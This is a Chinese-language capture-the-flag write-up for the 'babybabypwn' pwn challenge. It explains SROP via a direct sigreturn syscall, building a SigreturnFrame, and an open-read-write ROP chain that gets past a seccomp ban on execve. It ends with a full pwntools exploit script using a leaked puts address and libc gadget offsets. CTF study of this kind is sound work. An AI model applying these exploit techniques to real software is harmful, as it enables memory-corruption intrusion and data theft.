[V&N2020 公开赛]babybabypwn
步骤:
-
例行检查,64位程序,保护全开
-
本地试运行一下,看看程序的大概情况
-
64位ida载入,看一下main函数
-
sub_1202()函数,沙盒的限制条件
-
用seccomp-tools看一下
其他禁用的指令是干什么的我不是很清楚,但是禁用了execve(系统调用),也就没办法获取shell权限了,只能够想办法通过open–>read–>write的方式来获取flag的值了 -
sub_1347()函数
-
一开始给我们泄露了puts函数的地址,接着读入参数buf,限制了长度,不存在溢出,之后进行系统调用syscall,syscall是一个间接系统调用函数
间接系统调用号
第一个参数可以是很多数,百度后得知,第一个参数是15的时候代表调用的是sigreturn,看网上师傅都说遇到sigreturn就用SROP -
关于SROP可以看一下这篇文章,总结的很好
借用一下里面的总结
如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn
,这个地址指向一段代码,在这段代码中会调用sigreturn
系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn
,所以,signal handler函数的最后一条ret
指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn
系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn
:
我们将这段内存称为一个Signal Frame
。
在内核sigreturn
系统调用处理函数中,会根据当前的栈指针指向的Signal Frame
对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。 -
其主要思路是利用信号处理函数结束时,内核在恢复进程上下文时,需要从栈上取Signal Frame来恢复寄存器,由于栈上内容是我们可以控制的,因此可以利用这个过程,人为的操作Signal Frame,进而达到操作寄存器的目的。
-
这道题我们可以看到,没有调用signal,,直接就调用了syscall(15)也就是sigreturn函数,我们之前输入的buf被当作各种寄存器参数依次出栈,这个buf充当的角色也就是上面所说的 Signal Frame ,buf的数据我们是可控的,也就是说我们可以按我们的意愿构造进程状态。
我们就可以通过syscall(15)构造好Signal Frame
,把程序流伪造为下一个要执行的函数是read,把我们精心构造的ROP写到某个地方,然后ret过去进行ROP,一般都是写在全局变量段bss段上 -
由于开启了PIE,所以我们不知道程序里的地址,但好在泄露了puts函数的地址,这样就可以知道libc版本,然后去计算程序里的函数的地址
找一下libc里bss段的地址(这边有个坑,可能是因为我在buu平台上做的题,在这边下的libc_2.23这个libc版本里的函数地址和buu上的libc-2.23里的地址不一样,这题用buu上的libc地址可以打通)
64位传参,用到了寄存器,先找一下设置寄存器值的指令
ROPgadget --binary libc-2.23.so |grep “pop rdi”
ROPgadget --binary libc-2.23.so |grep “pop rsi”
ROPgadget --binary libc-2.23.so |grep “pop rdx”
根据上述的信息,我们可以算出程序里的一些寄存器和bss段的实际地址了
r.recvuntil(': ')
puts_addr = int(r.recv(14), 16)
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
open_addr = libcbase + libc.dump('open')
read = libcbase + libc.dump('read')
write = libcbase + libc.dump('write')
bss = libcbase + 0x3c5720 + 0x400#往栈上压入数据是从下往上写的, 0x3c5720是bss段的起始地址,我们需要先抬高一下栈,不然往bss段里写东西的时候会覆盖掉其他段的值,可能会导致利用失败
pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92
在知道了上述的地址后,我们就可以利用pwntools直接来构造Signal Frame
了
记得在exp的开头加上context(os='linux', arch='amd64', log_level='debug')
来设置一下pwntool是环境,不然没法直接利用pwntools来构造Signal Frame
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x100
frame.rip = read
frame.rsp = bss
r.sendafter('Please input magic message:', str(frame)[8:])
简单说一下为什么要舍弃frame的前8位
通过查看汇编可以看到,下一次函数跳转的时候用到了var_8的值,var_8在栈上的位置
在栈上的前8字节,所以我们写入frame 的时候要舍弃掉前8位,避免破坏var_8的值,debug调试可以看到前8位是0x00,不影响
我们构造的Signal Frame
实现的功能主要是调用read函数往bss段写入内容,然后跳转到bss段执行我们布置好的语句
我们现在要去bss段布置rop攻击的语句,由于禁用了execve,所以使用的open–>read–>write这样的方式读出flag
现在要找一下’flag’ 字符串的位置
它这个位置距离我们想要写入的bss段的地址是0x98,我们可以用bss+0x98来表示它(写exp的时候得到了bss段的实际地址输出看一下,每次启动的都不一样,但是他们的相对距离是固定的)
flag_addr = bss + 0x98
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
payload += 'flag'
完整exp
from pwn import *
from LibcSearcher import *
#local_libc = './libc-2.23.so'
#r = remote('node3.buuoj.cn', 28427)
r=process('./vn_pwn_babybabypwn_1')
elf = ELF('./vn_pwn_babybabypwn_1')
context(os='linux', arch='amd64', log_level='debug')
r.recvuntil(': ')
puts_addr = int(r.recv(14), 16)
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
open_addr = libcbase + libc.dump('open')
read = libcbase + libc.dump('read')
write = libcbase + libc.dump('write')
bss = libcbase + 0x00000000003c5720 + 0x400
pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x100
frame.rip = read
frame.rsp = bss
r.sendafter('Please input magic message:', str(frame)[8:])
print 'bss:'+hex(bss)
flag_addr = bss + 0x98
#flag_addr=0x7ffff77d2f6a
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
payload += 'flagx00'
#gdb.attach(r)
r.send(payload)
r.interactive()